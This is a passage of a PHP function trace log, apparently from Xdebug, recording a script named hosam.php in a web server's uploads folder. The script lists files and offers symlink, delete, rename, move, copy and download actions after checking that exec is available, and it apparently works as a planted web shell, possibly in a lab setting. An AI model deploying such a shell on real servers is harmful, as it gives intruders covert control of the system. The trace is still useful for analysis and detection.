4	227	1	0.011839	788648
4	227	R			'drwxrwxrwx'
4	228	0	0.011853	788648	html	1		/var/www/html/uploads/hosam.php	1233	1	'drwxrwxrwx'
5	229	0	0.011866	788648	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'drwxrwxrwx'	2	'ISO-8859-1'
5	229	1	0.011881	788920
5	229	R			'drwxrwxrwx'
4	228	1	0.011894	788808
4	228	R			'drwxrwxrwx'
4	230	0	0.011908	788608	array_key_exists	0		/var/www/html/uploads/hosam.php	1238	2	'owner_name'	['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	230	1	0.011938	788672
4	230	R			TRUE
4	231	0	0.011951	788608	array_key_exists	0		/var/www/html/uploads/hosam.php	1244	2	'group_name'	['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	231	1	0.011979	788672
4	231	R			TRUE
4	232	0	0.011993	788704	html	1		/var/www/html/uploads/hosam.php	1253	1	'/var/www/html/uploads/.'
5	233	0	0.012006	788704	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/.'	2	'ISO-8859-1'
5	233	1	0.012021	788976
5	233	R			'/var/www/html/uploads/.'
4	232	1	0.012036	788864
4	232	R			'/var/www/html/uploads/.'
3		A						/var/www/html/uploads/hosam.php	1256	$actions = []
4	234	0	0.012061	788608	function_exists	0		/var/www/html/uploads/hosam.php	1257	1	'symlink'
4	234	1	0.012074	788648
4	234	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1258	$actions[] = 'create_symlink'
4	235	0	0.012099	788984	dirname	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads/.'
4	235	1	0.012112	789064
4	235	R			'/var/www/html/uploads'
4	236	0	0.012126	789032	is_writable	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads'
4	236	1	0.012144	789072
4	236	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1261	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1262	$actions[] = 'rename'
3		A						/var/www/html/uploads/hosam.php	1263	$actions[] = 'move'
4	237	0	0.012189	788984	function_exists	0		/var/www/html/uploads/hosam.php	1270	1	'exec'
4	237	1	0.012202	789024
4	237	R			TRUE
4	238	0	0.012215	788984	sizeof	0		/var/www/html/uploads/hosam.php	1274	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	238	1	0.012232	789016
4	238	R			4
4	239	0	0.012244	789080	str_repeat	0		/var/www/html/uploads/hosam.php	1277	2	'&nbsp;'	30
4	239	1	0.012258	789368
4	239	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	240	0	0.012274	789048	word	1		/var/www/html/uploads/hosam.php	1281	1	'create_symlink'
5	241	0	0.012287	789048	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create symlink'	2	'ISO-8859-1'
5	241	1	0.012302	789320
5	241	R			'create symlink'
4	240	1	0.012317	789208
4	240	R			'create symlink'
4	242	0	0.012332	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'delete'
5	243	0	0.012344	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	243	1	0.012362	789312
5	243	R			'delete'
4	242	1	0.012376	789200
4	242	R			'delete'
4	244	0	0.012390	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'rename'
5	245	0	0.012402	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'rename'	2	'ISO-8859-1'
5	245	1	0.012416	789312
5	245	R			'rename'
4	244	1	0.012429	789200
4	244	R			'rename'
4	246	0	0.012443	789032	word	1		/var/www/html/uploads/hosam.php	1281	1	'move'
5	247	0	0.012455	789032	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	247	1	0.012469	789304
5	247	R			'move'
4	246	1	0.012482	789192
4	246	R			'move'
3		A						/var/www/html/uploads/hosam.php	1165	$i++
4	248	0	0.012505	788984	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	248	1	0.012575	789016
4	248	R			6
3		A						/var/www/html/uploads/hosam.php	1166	$file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	249	0	0.012615	788984	date	0		/var/www/html/uploads/hosam.php	1168	2	'n/j/y H:i:s'	1676254317
4	249	1	0.012647	789312
4	249	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1168	$timestamps = 'mtime: 2/12/23 21:11:57, '
4	250	0	0.012673	788928	date	0		/var/www/html/uploads/hosam.php	1169	2	'n/j/y H:i:s'	1676254317
4	250	1	0.012703	789256
4	250	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1169	$timestamps .= 'atime: 2/12/23 21:11:57, '
4	251	0	0.012729	788952	date	0		/var/www/html/uploads/hosam.php	1170	2	'n/j/y H:i:s'	1676254317
4	251	1	0.012759	789280
4	251	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1170	$timestamps .= 'ctime: 2/12/23 21:11:57'
4	252	0	0.012785	789176	html	1		/var/www/html/uploads/hosam.php	1174	1	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5	253	0	0.012799	789176	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'	2	'ISO-8859-1'
5	253	1	0.012816	789480
5	253	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	252	1	0.012832	789368
4	252	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	254	0	0.012849	789032	urlencode	0		/var/www/html/uploads/hosam.php	1197	1	'/var/www/html/uploads/..'
4	254	1	0.012862	789128
4	254	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F..'
4	255	0	0.012878	789080	html	1		/var/www/html/uploads/hosam.php	1197	1	'..'
5	256	0	0.012890	789080	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'..'	2	'ISO-8859-1'
5	256	1	0.012904	789352
5	256	R			'..'
4	255	1	0.012917	789240
4	255	R			'..'
4	257	0	0.012930	788984	human_filesize	1		/var/www/html/uploads/hosam.php	1220	1	4096
4		A						/var/www/html/uploads/hosam.php	1056	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/hosam.php	1058	$n = 0
4		A						/var/www/html/uploads/hosam.php	1060	$filesize /= 1024
4		A						/var/www/html/uploads/hosam.php	1061	$n++
5	258	0	0.012983	788984	strpos	0		/var/www/html/uploads/hosam.php	1064	2	4	'.'
5	258	1	0.012995	789056
5	258	R			FALSE
5	259	0	0.013008	788984	round	0		/var/www/html/uploads/hosam.php	1064	2	4	3
5	259	1	0.013020	789056
5	259	R			4
4		A						/var/www/html/uploads/hosam.php	1064	$filesize = 4
5	260	0	0.013043	788984	strpos	0		/var/www/html/uploads/hosam.php	1066	2	4	'.'
5	260	1	0.013056	789312
5	260	R			FALSE
5	261	0	0.013069	788984	substr	0		/var/www/html/uploads/hosam.php	1072	3	'kMGTPE'	0	1
5	261	1	0.013083	789080
5	261	R			'k'
4		A						/var/www/html/uploads/hosam.php	1072	$suffix = 'k'
4	257	1	0.013107	789016
4	257	R			'4 kB'
3		A						/var/www/html/uploads/hosam.php	1220	$human = ' title="4 kB"'
4	262	0	0.013135	788984	decoct	0		/var/www/html/uploads/hosam.php	1229	1	16895
4	262	1	0.013147	789056
4	262	R			'40777'
4	263	0	0.013161	788984	function_exists	0		/var/www/html/uploads/hosam.php	1231	1	'posix_getuid'
4	263	1	0.013174	789024
4	263	R			TRUE
4	264	0	0.013187	788984	posix_getuid	0		/var/www/html/uploads/hosam.php	1231	0
4	264	1	0.013199	788984
4	264	R			33
3		A						/var/www/html/uploads/hosam.php	1231	$l = FALSE
4	265	0	0.013221	788984	permission_octal2string	1		/var/www/html/uploads/hosam.php	1233	1	16895
4		A						/var/www/html/uploads/hosam.php	877	$type = 'd'
4		A						/var/www/html/uploads/hosam.php	886	$owner = 'r'
4		A						/var/www/html/uploads/hosam.php	887	$owner .= 'w'
4		A						/var/www/html/uploads/hosam.php	891	$owner .= 'x'
4		A						/var/www/html/uploads/hosam.php	894	$group = 'r'
4		A						/var/www/html/uploads/hosam.php	895	$group .= 'w'
4		A						/var/www/html/uploads/hosam.php	899	$group .= 'x'
4		A						/var/www/html/uploads/hosam.php	902	$other = 'r'
4		A						/var/www/html/uploads/hosam.php	903	$other .= 'w'
4		A						/var/www/html/uploads/hosam.php	907	$other .= 'x'
4	265	1	0.013331	789024
4	265	R			'drwxrwxrwx'
4	266	0	0.013345	789024	html	1		/var/www/html/uploads/hosam.php	1233	1	'drwxrwxrwx'
5	267	0	0.013357	789024	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'drwxrwxrwx'	2	'ISO-8859-1'
5	267	1	0.013372	789296
5	267	R			'drwxrwxrwx'
4	266	1	0.013386	789184
4	266	R			'drwxrwxrwx'
4	268	0	0.013400	788984	array_key_exists	0		/var/www/html/uploads/hosam.php	1238	2	'owner_name'	['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	268	1	0.013429	789048
4	268	R			TRUE
4	269	0	0.013443	788984	array_key_exists	0		/var/www/html/uploads/hosam.php	1244	2	'group_name'	['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	269	1	0.013471	789048
4	269	R			TRUE
4	270	0	0.013484	789080	html	1		/var/www/html/uploads/hosam.php	1253	1	'/var/www/html/uploads/..'
5	271	0	0.013497	789080	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/..'	2	'ISO-8859-1'
5	271	1	0.013512	789352
5	271	R			'/var/www/html/uploads/..'
4	270	1	0.013526	789240
4	270	R			'/var/www/html/uploads/..'
3		A						/var/www/html/uploads/hosam.php	1256	$actions = []
4	272	0	0.013552	788608	function_exists	0		/var/www/html/uploads/hosam.php	1257	1	'symlink'
4	272	1	0.013565	788648
4	272	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1258	$actions[] = 'create_symlink'
4	273	0	0.013589	788984	dirname	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads/..'
4	273	1	0.013602	789072
4	273	R			'/var/www/html/uploads'
4	274	0	0.013617	789040	is_writable	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads'
4	274	1	0.013632	789080
4	274	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1261	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1262	$actions[] = 'rename'
3		A						/var/www/html/uploads/hosam.php	1263	$actions[] = 'move'
4	275	0	0.013676	788984	function_exists	0		/var/www/html/uploads/hosam.php	1270	1	'exec'
4	275	1	0.013689	789024
4	275	R			TRUE
4	276	0	0.013702	788984	sizeof	0		/var/www/html/uploads/hosam.php	1274	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	276	1	0.013719	789016
4	276	R			4
4	277	0	0.013732	789080	str_repeat	0		/var/www/html/uploads/hosam.php	1277	2	'&nbsp;'	30
4	277	1	0.013745	789368
4	277	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	278	0	0.013767	789048	word	1		/var/www/html/uploads/hosam.php	1281	1	'create_symlink'
5	279	0	0.013786	789048	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create symlink'	2	'ISO-8859-1'
5	279	1	0.013802	789320
5	279	R			'create symlink'
4	278	1	0.013817	789208
4	278	R			'create symlink'
4	280	0	0.013832	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'delete'
5	281	0	0.013850	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	281	1	0.013864	789312
5	281	R			'delete'
4	280	1	0.013878	789200
4	280	R			'delete'
4	282	0	0.013892	789040	word	1		/var/www/html/uploads/hosam.php	1281	1	'rename'
5	283	0	0.013904	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'rename'	2	'ISO-8859-1'
5	283	1	0.013918	789312
5	283	R			'rename'
4	282	1	0.013932	789200
4	282	R			'rename'
4	284	0	0.013945	789032	word	1		/var/www/html/uploads/hosam.php	1281	1	'move'
5	285	0	0.013958	789032	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	285	1	0.013972	789304
5	285	R			'move'
4	284	1	0.013985	789192
4	284	R			'move'
3		A						/var/www/html/uploads/hosam.php	1165	$i++
4	286	0	0.014009	788984	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	286	1	0.014079	789016
4	286	R			6
3		A						/var/www/html/uploads/hosam.php	1166	$file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	287	0	0.014119	788984	date	0		/var/www/html/uploads/hosam.php	1168	2	'n/j/y H:i:s'	1676254317
4	287	1	0.014151	789312
4	287	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1168	$timestamps = 'mtime: 2/12/23 21:11:57, '
4	288	0	0.014177	788928	date	0		/var/www/html/uploads/hosam.php	1169	2	'n/j/y H:i:s'	1676254317
4	288	1	0.014208	789256
4	288	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1169	$timestamps .= 'atime: 2/12/23 21:11:57, '
4	289	0	0.014234	788952	date	0		/var/www/html/uploads/hosam.php	1170	2	'n/j/y H:i:s'	1676254317
4	289	1	0.014263	789280
4	289	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1170	$timestamps .= 'ctime: 2/12/23 21:11:57'
4	290	0	0.014290	789176	html	1		/var/www/html/uploads/hosam.php	1174	1	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5	291	0	0.014304	789176	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'	2	'ISO-8859-1'
5	291	1	0.014321	789480
5	291	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	290	1	0.014353	789368
4	290	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	292	0	0.014370	788984	substr	0		/var/www/html/uploads/hosam.php	1205	3	'.htaccess'	0	1
4	292	1	0.014384	789080
4	292	R			'.'
4	293	0	0.014398	789064	urlencode	0		/var/www/html/uploads/hosam.php	1212	1	'/var/www/html/uploads/.htaccess'
4	293	1	0.014411	789176
4	293	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.htaccess'
4	294	0	0.014428	789096	html	1		/var/www/html/uploads/hosam.php	1212	1	'.htaccess'
5	295	0	0.014440	789096	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'.htaccess'	2	'ISO-8859-1'
5	295	1	0.014455	789368
5	295	R			'.htaccess'
4	294	1	0.014469	789256
4	294	R			'.htaccess'
3		A						/var/www/html/uploads/hosam.php	1222	$human = ''
4	296	0	0.014494	788944	decoct	0		/var/www/html/uploads/hosam.php	1229	1	33188
4	296	1	0.014507	789016
4	296	R			'100644'
4	297	0	0.014520	788944	function_exists	0		/var/www/html/uploads/hosam.php	1231	1	'posix_getuid'
4	297	1	0.014534	788984
4	297	R			TRUE
4	298	0	0.014546	788944	posix_getuid	0		/var/www/html/uploads/hosam.php	1231	0
4	298	1	0.014558	788944
4	298	R			33
3		A						/var/www/html/uploads/hosam.php	1231	$l = FALSE
4	299	0	0.014581	788944	permission_octal2string	1		/var/www/html/uploads/hosam.php	1233	1	33188
4		A						/var/www/html/uploads/hosam.php	873	$type = '-'
4		A						/var/www/html/uploads/hosam.php	886	$owner = 'r'
4		A						/var/www/html/uploads/hosam.php	887	$owner .= 'w'
4		A						/var/www/html/uploads/hosam.php	891	$owner .= '-'
4		A						/var/www/html/uploads/hosam.php	894	$group = 'r'
4		A						/var/www/html/uploads/hosam.php	895	$group .= '-'
4		A						/var/www/html/uploads/hosam.php	899	$group .= '-'
4		A						/var/www/html/uploads/hosam.php	902	$other = 'r'
4		A						/var/www/html/uploads/hosam.php	903	$other .= '-'
4		A						/var/www/html/uploads/hosam.php	907	$other .= '-'
4	299	1	0.014710	788984
4	299	R			'-rw-r--r--'
4	300	0	0.014724	788984	html	1		/var/www/html/uploads/hosam.php	1233	1	'-rw-r--r--'
5	301	0	0.014738	788984	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'-rw-r--r--'	2	'ISO-8859-1'
5	301	1	0.014753	789256
5	301	R			'-rw-r--r--'
4	300	1	0.014767	789144
4	300	R			'-rw-r--r--'
4	302	0	0.014781	788944	array_key_exists	0		/var/www/html/uploads/hosam.php	1238	2	'owner_name'	['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	302	1	0.014810	789008
4	302	R			TRUE
4	303	0	0.014824	788944	array_key_exists	0		/var/www/html/uploads/hosam.php	1244	2	'group_name'	['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	303	1	0.014853	789008
4	303	R			TRUE
4	304	0	0.014867	789040	html	1		/var/www/html/uploads/hosam.php	1253	1	'/var/www/html/uploads/.htaccess'
5	305	0	0.014880	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/.htaccess'	2	'ISO-8859-1'
5	305	1	0.014895	789312
5	305	R			'/var/www/html/uploads/.htaccess'
4	304	1	0.014910	789200
4	304	R			'/var/www/html/uploads/.htaccess'
3		A						/var/www/html/uploads/hosam.php	1256	$actions = []
4	306	0	0.014935	788568	function_exists	0		/var/www/html/uploads/hosam.php	1257	1	'symlink'
4	306	1	0.014949	788608
4	306	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1258	$actions[] = 'create_symlink'
4	307	0	0.014974	788944	dirname	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads/.htaccess'
4	307	1	0.014987	789032
4	307	R			'/var/www/html/uploads'
4	308	0	0.015001	789000	is_writable	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads'
4	308	1	0.015018	789040
4	308	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1261	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1262	$actions[] = 'rename'
3		A						/var/www/html/uploads/hosam.php	1263	$actions[] = 'move'
3		A						/var/www/html/uploads/hosam.php	1266	$actions[] = 'copy'
3		A						/var/www/html/uploads/hosam.php	1267	$actions[] = 'download'
4	309	0	0.015082	788944	function_exists	0		/var/www/html/uploads/hosam.php	1270	1	'exec'
4	309	1	0.015095	788984
4	309	R			TRUE
4	310	0	0.015108	788944	sizeof	0		/var/www/html/uploads/hosam.php	1274	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4	310	1	0.015126	788976
4	310	R			6
4	311	0	0.015139	789040	str_repeat	0		/var/www/html/uploads/hosam.php	1277	2	'&nbsp;'	30
4	311	1	0.015152	789328
4	311	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	312	0	0.015168	789008	word	1		/var/www/html/uploads/hosam.php	1281	1	'create_symlink'
5	313	0	0.015182	789008	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create symlink'	2	'ISO-8859-1'
5	313	1	0.015197	789280
5	313	R			'create symlink'
4	312	1	0.015212	789168
4	312	R			'create symlink'
4	314	0	0.015227	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'delete'
5	315	0	0.015240	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	315	1	0.015254	789272
5	315	R			'delete'
4	314	1	0.015267	789160
4	314	R			'delete'
4	316	0	0.015281	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'rename'
5	317	0	0.015293	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'rename'	2	'ISO-8859-1'
5	317	1	0.015308	789272
5	317	R			'rename'
4	316	1	0.015321	789160
4	316	R			'rename'
4	318	0	0.015335	788992	word	1		/var/www/html/uploads/hosam.php	1281	1	'move'
5	319	0	0.015351	788992	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	319	1	0.015366	789264
5	319	R			'move'
4	318	1	0.015379	789152
4	318	R			'move'
4	320	0	0.015393	788992	word	1		/var/www/html/uploads/hosam.php	1281	1	'copy'
5	321	0	0.015405	788992	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'copy'	2	'ISO-8859-1'
5	321	1	0.015419	789264
5	321	R			'copy'
4	320	1	0.015432	789152
4	320	R			'copy'
4	322	0	0.015446	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'download'
5	323	0	0.015458	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'download'	2	'ISO-8859-1'
5	323	1	0.015472	789272
5	323	R			'download'
